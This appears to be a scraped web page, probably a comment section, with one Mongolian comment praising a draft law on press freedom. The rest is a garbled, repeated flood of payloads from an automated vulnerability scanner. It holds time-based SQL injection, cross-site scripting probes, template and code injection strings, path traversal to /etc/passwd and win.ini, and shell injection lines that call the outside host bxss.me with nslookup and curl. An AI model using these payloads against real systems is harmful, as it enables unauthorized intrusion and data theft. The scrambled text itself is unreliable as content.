Ч. Чимэддолгор   Хэвлэл мэдээлэл болон үг хэлэх эрх чөлөөг хамгаалахад үр нөоөөтэй байж болохуйц хуулийн төсөл байна.

  20

  20

  20

  20

  20

  @@E2b4d

  20����%2527%2522\'\"

  20'"

  20

  20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  20dFatPGZT')) OR 135=(SELECT 135 FROM PG_SLEEP(15))--

  20KCBAZPCA') OR 801=(SELECT 801 FROM PG_SLEEP(15))--

  20s71UBNN5' OR 287=(SELECT 287 FROM PG_SLEEP(15))--

  20-1)) OR 766=(SELECT 766 FROM PG_SLEEP(15))--

  20-1) OR 18=(SELECT 18 FROM PG_SLEEP(15))--

  20-1 OR 479=(SELECT 479 FROM PG_SLEEP(15))--

  208JhV6DL9')); waitfor delay '0:0:15' --

  20z1oWNrZL'); waitfor delay '0:0:15' --

  206PgW0Y6t'; waitfor delay '0:0:15' --

  20-1 waitfor delay '0:0:15' --

  20-1)); waitfor delay '0:0:15' --

  20-1); waitfor delay '0:0:15' --

  20-1; waitfor delay '0:0:15' --

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z

  200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

  20*if(now()=sysdate(),sleep(15),0)

  -1" OR 3*2>(0+5+656-656) --

  -1" OR 3*2<(0+5+656-656) --

  -1" OR 3+656-656-1=0+0+0+1 --

  -1" OR 2+656-656-1=0+0+0+1 --

  -1' OR 3*2>(0+5+765-765) or 'mdjS9HcX'='

  -1' OR 3*2<(0+5+765-765) or 'mdjS9HcX'='

  -1' OR 3+765-765-1=0+0+0+1 or 'mdjS9HcX'='

  -1' OR 2+765-765-1=0+0+0+1 or 'mdjS9HcX'='

  -1' OR 3*2>(0+5+716-716) --

  -1' OR 3*2<(0+5+716-716) --

  -1' OR 3+716-716-1=0+0+0+1 --

  -1' OR 2+716-716-1=0+0+0+1 --

  -1 OR 3*2>(0+5+998-998)

  -1 OR 3*2<(0+5+998-998)

  -1 OR 3+998-998-1=0+0+0+1

  -1 OR 2+998-998-1=0+0+0+1

  -1 OR 3*2>(0+5+66-66) --

  -1 OR 3*2<(0+5+66-66) --

  -1 OR 3+66-66-1=0+0+0+1 --

  -1 OR 2+66-66-1=0+0+0+1 --

  20

  20

  20

  20

  20

  20

  20<iframe src="9583.com"></iframe>

  20

  204xBO8

  20}body{zzz:Expre/**/SSion(QDc5(9987))}

  <a></a>

  <a href="http://xss.bxss.me"></a>

  20<input>

  �<img>

  20&lt;ScRiPt&gt;QDc5(9774)&lt;/sCripT&gt;

  20\u003CScRiPt\QDc5(9219)\u003C/sCripT\u003E

  %32%30%3C%53%63%52%69%50%74%20%3E%51%44%63%35%289415%29%3C%2F%73%43%72%69%70%54%3E

  20<img src="&gt;">

  20<img src="xyz">

  20<img src="//xss.bxss.me/t/dot.gif">

  20

  20<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  20

  20<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

  20

  20&lt;ScRiPt &gt;QDc5(9312)

  20

  20

  20%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%51%44%63%35%28%39%35%35%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

  209260

  20

  20

  20

  20

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  dfb__${98991*97996}__::.x

  dfb[[${98991*97996}]]xca

  dfb{{98991*97996}}xca

  20

  20

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

  20

 

  20

  &lt;%={{={@{#{${dfb}}%&gt;

  bfgx7204%C0%BEz1%C0%BCz2a%90bcxhjl7204

  bfg9193%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9193

  209965277

 

  '"()&amp;%

  ${9999611+9999137}

  20'"()&amp;%

  '"

  20

  20

  'A'.concat(70-3).concat(22*4).concat(119).concat(65).concat(102).concat(78)+(require'socket' Socket.gethostbyname('hitth'+'vcgudomr18b9d.bxss.me.')[3].to_s)

  '+'A'.concat(70-3).concat(22*4).concat(122).concat(70).concat(111).concat(77)+(require'socket' Socket.gethostbyname('hitvf'+'fhihsmvu1de5f.bxss.me.')[3].to_s)+'

  '.print(md5(31337)).'

  "+"A".concat(70-3).concat(22*4).concat(107).concat(70).concat(100).concat(73)+(require"socket" Socket.gethostbyname("hitpi"+"tkeoyarf2e81d.bxss.me.")[3].to_s)+"

  &amp;(nslookup${IFS}-q${IFS}cname${IFS}hitxjzooybpdob4f97.bxss.me||curl${IFS}hitxjzooybpdob4f97.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitxjzooybpdob4f97.bxss.me||curl${IFS}hitxjzooybpdob4f97.bxss.me)&amp;`'

  |(nslookup${IFS}-q${IFS}cname${IFS}hitrbiijknvcid56e3.bxss.me||curl${IFS}hitrbiijknvcid56e3.bxss.me)

  bxss.me

  ${@print(md5(31337))}\

  c:/windows/win.ini

  ${@print(md5(31337))}

  ../../../../../../../../../../../../../../etc/shells

  ";print(md5(31337));$a="

  ;(nslookup -q=cname hitqouibxylbvf3a0a.bxss.me||curl hitqouibxylbvf3a0a.bxss.me)|(nslookup -q=cname hitqouibxylbvf3a0a.bxss.me||curl hitqouibxylbvf3a0a.bxss.me)&amp;(nslookup -q=cname hitqouibxylbvf3a0a.bxss.me||curl hitqouibxylbvf3a0a.bxss.me)

  /etc/shells

  http://bxss.me/t/fit.txt%3F.jpg

  ';print(md5(31337));$a='

  20

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  Http://bxss.me/t/fit.txt

  bxss.me/t/xss.html?%00

  `(nslookup -q=cname hitibfiwnmpcx11ab1.bxss.me||curl hitibfiwnmpcx11ab1.bxss.me)`

  20"||sleep(27*1000)*lgibnw||"

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

  20'||sleep(27*1000)*xztsxp||'

  HttP://bxss.me/t/xss.html?%00

  |(nslookup -q=cname hitvloypgiivyfcc5c.bxss.me||curl hitvloypgiivyfcc5c.bxss.me)

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

  20"&amp;&amp;sleep(27*1000)*cjktgw&amp;&amp;"

  &amp;(nslookup -q=cname hitlgvhertrep16e0f.bxss.me||curl hitlgvhertrep16e0f.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitlgvhertrep16e0f.bxss.me||curl hitlgvhertrep16e0f.bxss.me)&amp;`'

  20'&amp;&amp;sleep(27*1000)*cyfmtu&amp;&amp;'

  gethostbyname(lc('hitag'.'cnneqohxaeb86.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(66).chr(113).chr(82)

  '"()

  ".gethostbyname(lc("hitcr"."bytnztoy65824.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(88).chr(121).chr(87)."

  &amp;nslookup -q=cname hitbvuveedmyzfe986.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitbvuveedmyzfe986.bxss.me&amp;`'

  '.gethostbyname(lc('hitvu'.'fwaovxpgbbc4a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(75).chr(119).chr(81).'

  $(nslookup -q=cname hitksabxxyxpv136b6.bxss.me||curl hitksabxxyxpv136b6.bxss.me)

  (nslookup -q=cname hitqulkakhmrx8e0aa.bxss.me||curl hitqulkakhmrx8e0aa.bxss.me))

  20

  expr 9000192271 - 980656

  20|echo bjqscl$()\ ffehns\nz^xyu||a #' |echo bjqscl$()\ ffehns\nz^xyu||a #|" |echo bjqscl$()\ ffehns\nz^xyu||a #

  |echo tjpzoe$()\ jnfqsw\nz^xyu||a #' |echo tjpzoe$()\ jnfqsw\nz^xyu||a #|" |echo tjpzoe$()\ jnfqsw\nz^xyu||a #

  20&amp;echo dolhmb$()\ ruzapx\nz^xyu||a #' &amp;echo dolhmb$()\ ruzapx\nz^xyu||a #|" &amp;echo dolhmb$()\ ruzapx\nz^xyu||a #

  &amp;echo bthhyi$()\ kxqleq\nz^xyu||a #' &amp;echo bthhyi$()\ kxqleq\nz^xyu||a #|" &amp;echo bthhyi$()\ kxqleq\nz^xyu||a #

  echo uebbjl$()\ ybylvu\nz^xyu||a #' &amp;echo uebbjl$()\ ybylvu\nz^xyu||a #|" &amp;echo uebbjl$()\ ybylvu\nz^xyu||a #

  20

  20

  ^(#$!@#$)(()))******

  20

  20

  !(()&amp;&amp;!|*|*|

  )

  20

  ./20

  ../20

  20

  file:///etc/passwd

  ../../../../../../../../../../../../../../windows/win.ini

  +response.write(9347203*9979807)'

  ../../../../../../../../../../../../../../etc/passwd

  &lt;% response.write(9347203*9979807) %&gt;

  "+response.write(9347203*9979807)+"

  redirtest.acx

  '+response.write(9347203*9979807)+'

  20

  response.write(9347203*9979807)

  20

  20

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  20

  20

  20

  20

  @@UdXxF

  20����%2527%2522\'\"

  20'"

  20

  20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  20ohKrAzID')) OR 464=(SELECT 464 FROM PG_SLEEP(15))--

  20LMO9HfRH') OR 672=(SELECT 672 FROM PG_SLEEP(15))--

  200u0kPIML' OR 528=(SELECT 528 FROM PG_SLEEP(15))--

  20-1)) OR 360=(SELECT 360 FROM PG_SLEEP(15))--

  20-1) OR 992=(SELECT 992 FROM PG_SLEEP(15))--

  20-1 OR 286=(SELECT 286 FROM PG_SLEEP(15))--

  20x4ywXfqi')); waitfor delay '0:0:15' --

  20tUBPgzmB'); waitfor delay '0:0:15' --

  205o111e5w'; waitfor delay '0:0:15' --

  20-1 waitfor delay '0:0:15' --

  20-1)); waitfor delay '0:0:15' --

  20-1); waitfor delay '0:0:15' --

  20

  20

  20-1; waitfor delay '0:0:15' --

  20

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  20

  200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z

  200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

  20*if(now()=sysdate(),sleep(15),0)

  -1" OR 3*2&gt;(0+5+247-247) --

  -1" OR 3*2&lt;(0+5+247-247) --

  -1" OR 3+247-247-1=0+0+0+1 --

  -1" OR 2+247-247-1=0+0+0+1 --

  -1' OR 3*2&gt;(0+5+434-434) or 'ZNKTTXrs'='

  -1' OR 3*2&lt;(0+5+434-434) or 'ZNKTTXrs'='

  -1' OR 3+434-434-1=0+0+0+1 or 'ZNKTTXrs'='

  -1' OR 2+434-434-1=0+0+0+1 or 'ZNKTTXrs'='

  -1' OR 3*2&gt;(0+5+156-156) --

  -1' OR 3*2&lt;(0+5+156-156) --

  -1' OR 3+156-156-1=0+0+0+1 --

  -1' OR 2+156-156-1=0+0+0+1 --

  -1 OR 3*2&gt;(0+5+617-617)

  -1 OR 3*2&lt;(0+5+617-617)

  -1 OR 3+617-617-1=0+0+0+1

  -1 OR 2+617-617-1=0+0+0+1

  -1 OR 3*2&gt;(0+5+606-606) --

  -1 OR 3*2&lt;(0+5+606-606) --

  -1 OR 3+606-606-1=0+0+0+1 --

  -1 OR 2+606-606-1=0+0+0+1 --

  20

  20

  20

  20

  20

  20

  20

  20

  20<iframe src="9839.com"></iframe>

  20

  20OIG4m

  20

  20}body{zzz:Expre/**/SSion(E5Rz(9155))}

  <a></a>

  <a href="http://xss.bxss.me"></a>

  20<input>

  �<img>

  20&lt;ScRiPt&gt;E5Rz(9757)&lt;/sCripT&gt;

  20\u003CScRiPt\E5Rz(9418)\u003C/sCripT\u003E

  %32%30%3C%53%63%52%69%50%74%20%3E%45%35%52%7A%289502%29%3C%2F%73%43%72%69%70%54%3E

  20<img src="&gt;">

  20<img src="xyz">

  20<img src="//xss.bxss.me/t/dot.gif">

  20

  20<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  20<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

  20

  20&lt;ScRiPt &gt;E5Rz(9942)

  20

  20

  20%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%45%35%52%7A%28%39%33%39%37%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

  209559

  20

  20

  20

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  dfb__${98991*97996}__::.x

  dfb[[${98991*97996}]]xca

  dfb{{98991*97996}}xca

  20

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

  20

 

  20

  &lt;%={{={@{#{${dfb}}%&gt;

  bfgx8264%C0%BEz1%C0%BCz2a%90bcxhjl8264

  12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡

  bfg4879%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl4879

  209951123

  '"()&amp;%

  ${10000414+9999093}

  20

  &amp;(nslookup${IFS}-q${IFS}cname${IFS}hitohfiqcsbaha04c2.bxss.me||curl${IFS}hitohfiqcsbaha04c2.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitohfiqcsbaha04c2.bxss.me||curl${IFS}hitohfiqcsbaha04c2.bxss.me)&amp;`'

  20'"()&amp;%

  20

  |(nslookup${IFS}-q${IFS}cname${IFS}hitoeujaehwwkca50f.bxss.me||curl${IFS}hitoeujaehwwkca50f.bxss.me)

  20

  ;(nslookup -q=cname hitkptkdtepua053a6.bxss.me||curl hitkptkdtepua053a6.bxss.me)|(nslookup -q=cname hitkptkdtepua053a6.bxss.me||curl hitkptkdtepua053a6.bxss.me)&amp;(nslookup -q=cname hitkptkdtepua053a6.bxss.me||curl hitkptkdtepua053a6.bxss.me)

  `(nslookup -q=cname hittujlqnphsn97c7c.bxss.me||curl hittujlqnphsn97c7c.bxss.me)`

  |(nslookup -q=cname hitvqmetokxww4924a.bxss.me||curl hitvqmetokxww4924a.bxss.me)

  '.print(md5(31337)).'

  ${@print(md5(31337))}\

 

  '"

  &amp;(nslookup -q=cname hiteiungpmkwrcc224.bxss.me||curl hiteiungpmkwrcc224.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hiteiungpmkwrcc224.bxss.me||curl hiteiungpmkwrcc224.bxss.me)&amp;`'

  ${@print(md5(31337))}

  ";print(md5(31337));$a="

  &amp;nslookup -q=cname hitckodaxfvwn78336.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitckodaxfvwn78336.bxss.me&amp;`'

  $(nslookup -q=cname hitgoogncgimjd0f4e.bxss.me||curl hitgoogncgimjd0f4e.bxss.me)

  ';print(md5(31337));$a='

  (nslookup -q=cname hitolkrwadjdx14b90.bxss.me||curl hitolkrwadjdx14b90.bxss.me))

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  expr 9000604287 - 952463

  20|echo pnnbud$()\ pxjggs\nz^xyu||a #' |echo pnnbud$()\ pxjggs\nz^xyu||a #|" |echo pnnbud$()\ pxjggs\nz^xyu||a #

  'A'.concat(70-3).concat(22*4).concat(99).concat(73).concat(113).concat(75)+(require'socket' Socket.gethostbyname('hituk'+'cxdpzage44cf7.bxss.me.')[3].to_s)

  |echo sfiihv$()\ ohrilb\nz^xyu||a #' |echo sfiihv$()\ ohrilb\nz^xyu||a #|" |echo sfiihv$()\ ohrilb\nz^xyu||a #

  '+'A'.concat(70-3).concat(22*4).concat(97).concat(89).concat(112).concat(80)+(require'socket' Socket.gethostbyname('hitev'+'fcpzcxped0795.bxss.me.')[3].to_s)+'

  20&amp;echo xakkpe$()\ nkcbxo\nz^xyu||a #' &amp;echo xakkpe$()\ nkcbxo\nz^xyu||a #|" &amp;echo xakkpe$()\ nkcbxo\nz^xyu||a #

  "+"A".concat(70-3).concat(22*4).concat(105).concat(89).concat(114).concat(80)+(require"socket" Socket.gethostbyname("hitgu"+"gxwjbzml14d86.bxss.me.")[3].to_s)+"

  20

  bxss.me

  &amp;echo mtdrqt$()\ pezopl\nz^xyu||a #' &amp;echo mtdrqt$()\ pezopl\nz^xyu||a #|" &amp;echo mtdrqt$()\ pezopl\nz^xyu||a #

  c:/windows/win.ini

  20"||sleep(27*1000)*vibqzp||"

  echo ctelzw$()\ lxoovq\nz^xyu||a #' &amp;echo ctelzw$()\ lxoovq\nz^xyu||a #|" &amp;echo ctelzw$()\ lxoovq\nz^xyu||a #

  20'||sleep(27*1000)*wxuqqa||'

  bxss.me/t/xss.html?%00

  ../../../../../../../../../../../../../../etc/shells

  20"&amp;&amp;sleep(27*1000)*jupvth&amp;&amp;"

  HttP://bxss.me/t/xss.html?%00

  /etc/shells

  http://bxss.me/t/fit.txt%3F.jpg

  20'&amp;&amp;sleep(27*1000)*vbnynk&amp;&amp;'

  Http://bxss.me/t/fit.txt

  '"()

  20

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

  20

  gethostbyname(lc('hitif'.'tzjjtrxfe3249.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(79).chr(100).chr(83)

  ".gethostbyname(lc("hitrs"."fgkhevtf1740a.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(83).chr(113).chr(76)."

  '.gethostbyname(lc('hituq'.'kevgiqywa2855.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(75).chr(113).chr(73).'

  20

  20

  20

  ./20

  ../20

  20

  file:///etc/passwd

  ../../../../../../../../../../../../../../windows/win.ini

  ../../../../../../../../../../../../../../etc/passwd

  +response.write(9430282*9274730)'

  &lt;% response.write(9430282*9274730) %&gt;

  "+response.write(9430282*9274730)+"

  '+response.write(9430282*9274730)+'

  20

  ^(#$!@#$)(()))******

  response.write(9430282*9274730)

  !(()&amp;&amp;!|*|*|

  )

  20

  redirtest.acx

  20

  20

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  20

 

 

 

  <iframe src="9446.com"></iframe>

 

  Foyxo

  }body{zzz:Expre/**/SSion(SpP0(9448))}

  <a></a>

  <a href="http://xss.bxss.me"></a>

  <input>

  %F6<img>

  &lt;ScRiPt&gt;SpP0(9438)&lt;/sCripT&gt;

  \u003CScRiPt\SpP0(9197)\u003C/sCripT\u003E

  %0D%0A%3C%53%63%52%69%50%74%20%3E%53%70%50%30%289660%29%3C%2F%73%43%72%69%70%54%3E

  <img src="&gt;">

  <img src="xyz">

  <img src="//xss.bxss.me/t/dot.gif">

 

  <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  <form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

 

  &lt;ScRiPt &gt;SpP0(9498)

 

 

  IpT&gt;

  9981

 

 

 

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  dfb__${98991*97996}__::.x

  dfb[[${98991*97996}]]xca

  dfb{{98991*97996}}xca

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

 

  &lt;%={{={@{#{${dfb}}%&gt;

 

  ${9999392+10000252}

  bfgx2031%C0%BEz1%C0%BCz2a%90bcxhjl2031

  12345'"\'\");|]*{ &lt;&gt;%BF''💡

  bfg8739＜s1﹥s2ʺs3ʹhjl8739

  9877850

  '"()&amp;%

 

  '"()&amp;%

  '"

  index.php/.

  'A'.concat(70-3).concat(22*4).concat(111).concat(73).concat(122).concat(82)+(require'socket' Socket.gethostbyname('hitho'+'hbygtwcn5ab3d.bxss.me.')[3].to_s)

  '+'A'.concat(70-3).concat(22*4).concat(114).concat(70).concat(107).concat(65)+(require'socket' Socket.gethostbyname('hitcn'+'mtxltzbf82821.bxss.me.')[3].to_s)+'

  index.php

  "+"A".concat(70-3).concat(22*4).concat(103).concat(70).concat(112).concat(87)+(require"socket" Socket.gethostbyname("hitbx"+"zbnnlbesb0767.bxss.me.")[3].to_s)+"

  bxss.me/t/xss.html?%00

  index.php

  HttP://bxss.me/t/xss.html?%00

  '.print(md5(31337)).'

  ${@print(md5(31337))}\

  ${@print(md5(31337))}

  ";print(md5(31337));$a="

  ';print(md5(31337));$a='

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  bxss.me

  gethostbyname(lc('hitru'.'xampsvmy52506.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(90).chr(99).chr(82)

  c:/windows/win.ini

  ".gethostbyname(lc("hitxh"."skafzseq1d6f9.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(71).chr(113).chr(80)."

  ../../../../../../../../../../../../../../etc/shells

  '.gethostbyname(lc('hitqv'.'qzgbdiox7137e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(83).chr(121).chr(69).'

  "||sleep(27*1000)*pevorg||"

  '||sleep(27*1000)*cyyyoz||'

  /etc/shells

  "&amp;&amp;sleep(27*1000)*jbpvmi&amp;&amp;"

  '&amp;&amp;sleep(27*1000)*wpmjzg&amp;&amp;'

  http://bxss.me/t/fit.txt?.jpg

  '"()

  Http://bxss.me/t/fit.txt

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

  @@rdPhc

  %C0%A7%C0%A2%2527%2522\'\"

  ^(#$!@#$)(()))******

  '"

  !(()&amp;&amp;!|*|*|

  )

  '||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  *DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  R4Ej0WOK')) OR 881=(SELECT 881 FROM PG_SLEEP(15))--

  h0JmjGRP') OR 78=(SELECT 78 FROM PG_SLEEP(15))--

  oTuHlWjq' OR 44=(SELECT 44 FROM PG_SLEEP(15))--

  &amp;(nslookup${IFS}-q${IFS}cname${IFS}hitsmiygrxzpuc1c85.bxss.me||curl${IFS}hitsmiygrxzpuc1c85.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitsmiygrxzpuc1c85.bxss.me||curl${IFS}hitsmiygrxzpuc1c85.bxss.me)&amp;`'

  redirtest.acx

  |(nslookup${IFS}-q${IFS}cname${IFS}hitznuonjixsfe13da.bxss.me||curl${IFS}hitznuonjixsfe13da.bxss.me)

  -1)) OR 162=(SELECT 162 FROM PG_SLEEP(15))--

  ;(nslookup -q=cname hitdzxcyvdehvf25d8.bxss.me||curl hitdzxcyvdehvf25d8.bxss.me)|(nslookup -q=cname hitdzxcyvdehvf25d8.bxss.me||curl hitdzxcyvdehvf25d8.bxss.me)&amp;(nslookup -q=cname hitdzxcyvdehvf25d8.bxss.me||curl hitdzxcyvdehvf25d8.bxss.me)

  -1) OR 864=(SELECT 864 FROM PG_SLEEP(15))--

  `(nslookup -q=cname hitueywrosxnx72bf4.bxss.me||curl hitueywrosxnx72bf4.bxss.me)`

  -1 OR 24=(SELECT 24 FROM PG_SLEEP(15))--

  |(nslookup -q=cname hitrovvdghewcb397d.bxss.me||curl hitrovvdghewcb397d.bxss.me)

  qL7EUiDi')); waitfor delay '0:0:15' --

  &amp;(nslookup -q=cname hitojgnpjthwka4f44.bxss.me||curl hitojgnpjthwka4f44.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitojgnpjthwka4f44.bxss.me||curl hitojgnpjthwka4f44.bxss.me)&amp;`'

  ./

  &amp;nslookup -q=cname hitzkdoyssjlaf42c8.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitzkdoyssjlaf42c8.bxss.me&amp;`'

  ZVXoAajE'); waitfor delay '0:0:15' --

  ../

  8ktyeaC1'; waitfor delay '0:0:15' --

  $(nslookup -q=cname hitallwczmptz5c6c3.bxss.me||curl hitallwczmptz5c6c3.bxss.me)

  -1 waitfor delay '0:0:15' --

  (nslookup -q=cname hitmoazpmnnjb45ce8.bxss.me||curl hitmoazpmnnjb45ce8.bxss.me))

  -1)); waitfor delay '0:0:15' --

  file:///etc/passwd

  ../../../../../../../../../../../../../../windows/win.ini

  -1); waitfor delay '0:0:15' --

  ../../../../../../../../../../../../../../etc/passwd

  expr 9000301008 - 942519

  |echo conhsm$()\ fpjxty\nz^xyu||a #' |echo conhsm$()\ fpjxty\nz^xyu||a #|" |echo conhsm$()\ fpjxty\nz^xyu||a #

  -1; waitfor delay '0:0:15' --

  20

  20

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  &amp;echo dwxzic$()\ jxitxj\nz^xyu||a #' &amp;echo dwxzic$()\ jxitxj\nz^xyu||a #|" &amp;echo dwxzic$()\ jxitxj\nz^xyu||a #

  0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

  +response.write(9547277*9352246)'

  echo mgzwax$()\ hrnnnv\nz^xyu||a #' &amp;echo mgzwax$()\ hrnnnv\nz^xyu||a #|" &amp;echo mgzwax$()\ hrnnnv\nz^xyu||a #

  &lt;% response.write(9547277*9352246) %&gt;

  "+response.write(9547277*9352246)+"

  '+response.write(9547277*9352246)+'

  0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

  response.write(9547277*9352246)

  *if(now()=sysdate(),sleep(15),0)

  -1 OR 3*2&gt;(0+5+137-137)

  -1 OR 3*2&lt;(0+5+137-137)

  ctime sleep p0 (I30 tp1 Rp2 .

  -1 OR 3+137-137-1=0+0+0+1

  -1 OR 2+137-137-1=0+0+0+1

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  *1

  *1

  *1

  *1

  w37LJzh0

  20

  20